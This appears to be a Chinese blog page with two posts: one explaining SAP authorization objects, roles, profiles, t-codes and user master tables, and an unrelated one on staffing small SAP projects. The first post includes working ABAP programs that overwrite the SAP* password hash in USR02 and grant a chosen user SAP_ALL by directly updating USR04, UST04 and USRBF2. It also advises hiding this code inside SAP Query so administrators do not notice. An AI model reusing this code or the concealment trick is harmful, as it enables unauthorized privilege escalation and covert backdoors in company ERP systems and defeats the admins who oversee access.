SAP 用户权限及破解警惕:SAP 用户权限及破解

SAP 用户权限及破解警惕:SAP 用户权限及破解 SAP 用户权限用户权限解剖: 通常basis会使用PFCG做权限管理,时你保存时会产生一个系统外的prifile name, 记得SU01时用户有profile 和role两栏位吗?它们的关系如何呢? 首先明白几个概念. 1.activity 这样说吧,我们从activity谈起,activity是什么意思这个你查下字典也就知道了,对就是规定可做什么动作,比如说不能吸烟只能喝酒,不能多于2两, 不对,这是我老婆讲的,SAP不是这样子的,是只能insert, update,display什么的. 这些东西当年德国佬是写在tobj表中的. activity 也是可分activity group的. 2.activity category &Authorization group Role Vs Profile 你看看表T020就知道了,就是什么K,D, A, M什么的. profile是什么呢?实际上可以理解为所有的authorization data(有很多authorization group--{你可使用OBA7填写, 权限太细也不是好事^_^}和activity组成)的一个集合的名字,通常一个自定义的role产生一个profile,SAP权限控制是根据profile里的authorization data(objects)来控制的. role又是什么呢?role只是一个名字而已,然后将profile赋予给它, 比如你SU01建立一个用户,我没有任何role,但是加如SAP_All profile 也是可做任何事情. SAP本身有很多default role & profile. 3.最常用的PFCG->authorizations->change authorization data-> 进入后选取selection criteria 可看到所有的authorization object manually可手工加authorization object,比如你使用某个t-code权限出错误,abap使用SU53检查就知道缺少哪个authorization objec,然后手工加入就可以. 你选去authorization levels就可by account type再细分权限. 有些甚至直接到表字段.而且你甚至可給一个object分配缓存buffer. 那么SAP是如何做到权限控制的呢,屠夫就用到小宰一下. 4.关于权限方面的几个t-code. (一)Role(角色)相关T-code: PFAC 标准 PFAC_CHG 改变 PFAC_DEL 删除 PFAC_DIS 显示 PFAC_INS 新建 PFAC_STR PFCG 创建 ROLE_CMP 比较 SUPC 批量建立角色profile SWUJ 测试 SU03 检测authorzation data SU25, SU26 检查updated profile (二)建立用户相关T-code: SU0 SU01 SU01D SU01_N*** SU05 SU50, Su51, SU52 SU1 SU10 批量 SU12 批量 SUCOMP:维护用户公司地址 SU2 change用户参数 SUIM 用户信息系统用户组 SUGR:维护 SUGRD:显示 SUGRD_N***:还是维护 SUGR_N***:还是显示 (三)关于profile&Authoraztion Data SU02:直接创建profile不用role SU20:细分Authorization Fields SU21(SU03):****维护Authorization Objects(TOBJ,USR12). 对于凭证你可细分到: F_BKPF_BED: Accounting Document: Account Authorization for Customers F_BKPF_BEK: Accounting Document: Account Authorization for Vendors F_BKPF_BES: Accounting Document: Account Authorization for G/L Accounts F_BKPF_BLA: Accounting Document: Authorization for Document Types F_BKPF_BUK: Accounting Document: Authorization for Company Codes F_BKPF_BUP: Accounting Document: Authorization for Posting Periods F_BKPF_GSB: Accounting Document: Authorization for Business Areas F_BKPF_KOA: Accounting Document: Authorization for Account Types F_BKPF_VW : Accounting Document: Change Default Values for Doc.Type/PsKy 然后你进去还可细分,这些个东西是save在USR12表中的. 在DB层是UTAB. 对具体transaction code细分: SU22,SU24 SU53:*** 就是你出错用来检查没有那些authoraztion objects. SU56:分析authoraztion data buffers. SU87:用来检查用户改变产生的history SU96,SU97,SU98,SU99:干啥的? SUPC:批量产生role DB和logical层: SUKRI:Transaction Combinations Critical for Security tables: TOBJ : All avaiable authorzation objects.(全在此) USR12: 用户级authoraztion值 ----------------------------- USR01:主数据 USR02:密码在此 USR04:授权在此 USR03:User address data USR05:User Master Parameter ID USR06:Additional Data per User USR07:Object/values of last authorization check that failed USR08:Table for user menu entries USR09:Entries for user menus (work areas) USR10:User master authorization profiles USR11:User Master Texts for Profiles (USR10) USR12:User master authorization values USR13:Short Texts for Authorizations USR14:Surchargeable Language Versions per User USR15:External User Name USR16:Values for Variables for User Authorizations USR20:Date of last user master reorganization USR21:Assign user name address key USR22:Logon data without kernel access USR30:Additional Information for User Menu USR40:Table for illegal passwords USR41:当前用户 USREFUS: USRBF2 USRBF3 UST04:User Profile在此 UST10C: Composite profiles UST10S: Single profiles (角色对应的 UST12 : Authorizations.............................. .............................. 如何窃取权限 .............................. 用户: User type用户类型(干啥用的不讲): 通常的用户类型有 a.dialog (就是normal user) b.communication c.system d.service e.reference. 通常你在使用任何T-code前一定会有权限检测的. AUTHORITY_CHECK:这个函数只是小检查一下你的user有没有,什么时候过期. **如果coding只要使用此函数就够了. AUTHORITY_CHECK_TCODE:检查T-code 这倆函数是真正检查autorization objects的. SUSR_USER_AUTH_FOR_OBJ_GET: AUTHORIZATION_DATA_READ_SELOBJ: ------------------------------------------ 将SAP*的密码改成123的程序,很简单. 我们找到那个user logon表USR02. (DF52478E6FF90EEB是经过SAP加密保存在DB的,哪位老兄研究过SAP的密码加密?) report zmodSAP*. data zUSR02 like USR02 . select single * into zUSR02 from USR02 where BNAME = 'SAP*'. zUSR02-Bcode = 'DF52478E6FF90EEB' . Update USR02 from zUSR02 . 现在的问题是如何让你那basis不发现,很简单,将code隐藏在Query里面,就是说你做一个 query,query是会产生code的,然后你加入此代码,谁能想到???然后你就等你的basis去哭... 这样做太狠毒了.还是自己偷偷搞自己的用户吧. 在此你必须对权限结构非常清晰. 权限和三个表有关系. a.USR04 b.USR04 c.USRBF2 这个表是对应到所用的authorzization objects的. *&---------------------------------------------------------------------* *& Report : Steal SAP ALL Right * *& Creation Date : 2004.04.01 * *& Created by : Stone.Fu * *& Description : 可窃取SAP ALL权限 * *& Modified Date : 2005.11.02 *& Description : 将此code hide在report painter or query code * *&---------------------------------------------------------------------* report zrightsteal. data zUSR04 like USR04 . "????????work area?? data zUST04 like USR04 . data zPROFS like USR04-PROFS. data ZUSRBF2 like USRBF2 occurs 0 with header line. "USRBF2?????internal table ** Update Authorization table USR04. select single * into zUSR04 from USR04 where BNAME = 'ZABC2'. "SAP All 权限 move 'C SAP_ALL' to zPROFS . ZUSR04-NRPRO = '14'. zUSR04-PROFS = zPROFS. Update USR04 from zUSR04 . **Update User authorization masters table UST04 . select single * into zUST04 from UST04 where BNAME = 'ZABC2'. zUST04-PROFILE = 'SAP_ALL'. "SAP all 权限 Update UST04 from zUST04 . *?????insert *ZUST04-MANDT = '200'. *ZUST04-BNAME = 'ZABC2'. *ZUST04-PROFILE = 'SAP_ALL'. *Insert UST04 from ZUST04 . select * from USRBF2 into table ZUSRBF2 where BNAME = 'SAP*' . Loop at ZUSRBF2. ZUSRBF2-BNAME = 'ZABC2'. Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME. endloop. INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS. 自己建立一个ztest用户不给它任何权限然后在test machine上run 报表zrightsteal. 然后ztest就是SAP_ALL了, 然后你将code hide在SQP query的code中. ABAP code太容易被人发现. 关于修改SAP*的密码，事实上在实际使用中，sap*都是被lock的 此外，运行此程序的用户需要有S_PROGRAM或者S_QUERY中的相应权限。 niuchao 发表于:2007.09.28 13:56 ::分类: ( SAP ) ::阅读:(117次) :: Permanent link :: 引用 (0) 2007 年 09 月 25日, 星期二中小SAP项目中的人员编制 (源于W39) 中小SAP项目中的人员编制 对于SAP项目来说，常有人把项目所需的人员说的很多－－每个模块一个内部顾问和一个开发的，再算上BASIS和文员，怎么说也得十几号人吧。这样的规模让人望而却步。 但实际上，SAP的项目在上线后的很长一个阶段都不需要进行大的调整，作为内部顾问来说更多的是需要学习－－为后续的改善或者扩充学习新的知识。而这个阶段所产生的问题主要是用户操作不够熟练造成的。通过合理的调配人员，中小企业可以大大压缩人员方面的投入。对于中小企业来说一个SAP项目合理的内部顾问可以控制在5-6人左右。 ERP的内部维护分为四个层次，两个阶段第一层是系统应用层，这一层需要解决的主要是些操作层次的问题。比如说开采购订单输入错了价格需要修改，仓库进仓输错了日期。这个层次的问题通常可以在关键用户这里得到解决－－问题更多的表现在流程和权限上。只要给关键用户开通了修改记录的权限，出现错误时可以由专人进行修改就可以了。这部分属于日常工作。 本人曾经做过统计，以下问题占到了系统问题的70％以上： 1、 由于用户原因导致没有按时输入数据或漏输数据。 2、 由于操作不熟练导致的输错数据，特别是金额和日期。 3、 由于流程上的配合问题导致的错误。 第二个层次是系统配置方面的。这个层次的问题主要是用户需要增加一些仓库、工厂、订单类型方面的数据，由于对系统影响很大，只能由内部顾问来操作。当系统运行过一定时间以后，在管理方面需要优化、升级或扩充时也需要由内部顾问来对系统进行重新配置，但通常在配置方面的工作量不会很大。这部分属于特别情况的处理。 第三个层次系统开发层次。开发层次分为两个阶段，第一阶段是系统报表的开放，通常在系统上线后的一段时间内报表的开发需求会比较大。当系统稳定运行了一段时间以后，用户对功能方面的需求也会逐步增加，这时就会进入到第二阶段，即系统功能方面的开发。当然，SAP本身是个比较完善的系统，开发的工作更多的是与其他系统的接口。第一阶段的工作也属于日常维护的范围。第二阶段则属于特别情况的处理，需要由ERP项目经理与用户具体沟通。 第四个层次系统安全与备份。这部分的维护工作通常由BASIS来专门负责，负责的内容包括用户授权，系统备份和性能优化等。这是属于日常工作之一。 从以上的情况来看，只要我们建立了有层次的维护体系就能将顾问人员的数量尽量减少。 下面将不同人员的权责进行划分，来优化ERP项目的组织结构。 1、关键用户关键用户由部门的文员或部门领导指定的人员担任，主要负责解决本部门或本模块操作层次上发生的所有问题。要求其具备以下基本素质： A、 了解本部门的运作流程和工作职责。 B、 了解本部门在ERP项目中的所有操作。 C、 记录系统运行过程中出现的所有问题，并整理归档。 D、 解答最终用户提出的问题，并将不能解决的问题及时反馈给内部顾问。关键用户需要将系统出现的问题进行归纳整理，实现问题处理标准化。这样可以将大量基础的问题在最短的时间内解决。减轻内部顾问的工作压力。通过这样的方式，内部顾问的日常工作就是系统报表的开发和系统功能的深入研究。关键用户基本上按每个部门最少一名来配备。关键用户在原部门工作和ERP项目上的投入约为2：1的比例。可以考虑给每名关键用户增加300－500元的岗位工资。但必须对其工作进行有效考核。 2、内部顾问（模块顾问）内部顾问主要由IT部门的人员担任，内部顾问必须具备以下素质： A、 熟悉ERP产品，熟悉所负责模块的基本配置，并能深入研究该模块的扩展功能 B、 在熟悉一个模块配置的基础上依据公司的安排协助同事维护第二个模块的功能，并逐步掌握该模块的基本配置。 C、 负责本模块的系统二次开发功能，对于跨模块的功能开发由项目经理安排与其他顾问分工合作。 D、 收集和整理本模块遇到的所有问题，并对问题进行分析总结。定期提交总结报告。并在该报告的基础上提交改善意见。 E、 对ERP的关键用户、最终用户定期培训，特别是解决事实过程中遇到的各种问题。 F、 负责分公司ERP项目的实施工作，指导分公司相关人员正确的导入ERP系统。按PP、MM、SD、FI/CO四个部分来配置，需要4名内部顾问。 3、系统顾问（技术顾问）技术顾问主要负责ERP系统的权限管理、系统维护和性能优化，系统顾问必须具备以下素质： A、 了解和掌握公司ERP系统的软、硬件知识，特别是主机的维护管理知识。定期对系统进行备份，保障系统的正常稳定运行。 B、 登陆ERP的服务网站，及时掌握系统的更新信息，及时给系统打上功能或安全补丁。 C、 深入了解操作系统的优化、监控功能，即使预报可能出现的问题。特别要监控系统的硬盘空间、内存使用信息。 D、 掌握ERP系统的权限管理功能，并根据用户的申请和领导审批的结果在系统中为用户增删权限。 E、 在ERP的服务网站上登记系统出现的问题（如SAP的OSS网站和ORACLE的MEATLINK网站），并将ERP服务网站上反馈的结果及时反馈给相关顾问。企业需要配备一名专职的技术顾问。 通过以上的安排我们可以建立关键用户->内部顾问->技术顾问三个层次的支持体系。操作层次的问题尽量在关键用户层次解决，系统配置和优化方面的问题在内部顾问层次解决。当内部顾问无法解决问题后由技术顾问在ERP服务网站上寻求帮助。 同时内部顾问之间也考虑到了相互的配合与冗余：一个顾问主要负责一个模块的工作，并协助处理另一个模块的工作，每半年到一年交换一次负责的模块。这样当某个顾问离职时另一个顾问也可以很快的接手其工作，防止服务中断。更重要的是，我们以可以在关键用户中培养和挖掘ERP服务人才。对于那些有兴趣维护系统，并对系统有一定了解的人，提供了升为内部顾问的空间。当公司的ERP实施部门需要扩充时可以随时从这批人中间提拔。 从时间上来看，内部顾问的工作会分为三个大的阶段：第一阶段：ERP项目实施时，内部顾问需要快速学习ERP产品的前台、后台功能。掌握ERP系统的维护技巧，能在外部顾问离开后全盘接手系统的基本维护工作。第二阶段：ERP项目上线后的半年内，内部顾问需要记录和整理上线过程中出现的问题，并做简单的报表开发。第三阶段：ERP系统上线稳定以后，内部顾问需要对ERP项目的实施效果进行评估，并依据公司高层对ERP项目的更多要求拓展ERP系统应用。 仅就SAP产品来说，系统上线后的维护人员有的公司只有三到四人，如联想公司这样的，内部顾问多达300人以上。顾问多与少的因素主要取决于公司对ERP产品的定位：是否需要更深入的应用（应用的模块越多，顾问的需求越多），是否需要与其他系统进行接口以及企业是否有某些特殊的要求（定制开发特别的功能）。 从XX的实际情况来看，我认为有五名顾问即可。当然，对于PP和FI/CO这样难度比较大的模块，可以考虑外部招聘，招聘有一定经验的人来担任。

 

(this article come from niuchao's space)